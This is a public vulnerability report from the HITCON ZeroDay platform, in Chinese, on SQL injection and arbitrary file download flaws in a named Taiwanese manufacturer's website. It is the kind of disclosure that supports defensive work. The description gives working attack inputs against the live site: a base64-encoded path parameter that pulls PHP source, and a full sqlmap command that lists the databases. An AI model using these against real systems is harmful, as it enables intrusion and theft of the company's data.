Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01101
- Vendor: 東吳精密工業股份有限公司
- Title: 東吳精密股份有限公司 SQL注入,任意檔案下載
- Introduction: SQL注入與任意檔案下載
處理狀態
目前狀態
公開
Last Update : 2024/11/14
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/09/14 17:05:50 : 新提交 (由 {{萌新}} 更新此狀態)
- 2024/09/16 14:32:42 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/04 18:02:21 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/10/04 18:02:30 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/11/14 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01101
- 通報者:nhd1261 ({{萌新}})
- 風險:高
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://www.bairyng.com.tw/pro_list_data.php?cid=1&cid2=7
http://www.bairyng.com.tw/filedown.php?file=&site=
http://www.bairyng.com.tw/filedown.php?file=&site=
敘述
http://www.bairyng.com.tw/filedown.php?file=[下載檔名]&site=[base64檔案路徑]
從網站下載功能發現能透過修改site參數下載網頁原始碼,對其中產品頁面的php原始進行代碼審計,發現資料庫帳密洩漏、網站未對SQL注入做防護。
http://www.bairyng.com.tw/filedown.php?file=pro_list_data.php&site=cHJvX2xpc3RfZGF0YS5waHA=
嘗試SQL注入,成功獲取資料庫。
Payload:
python sqlmap.py "http://www.bairyng.com.tw/pro_list_data.php?cid=1&cid2=7" --time-sec=10 --threads 10 --random-agent --dbs --batch
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。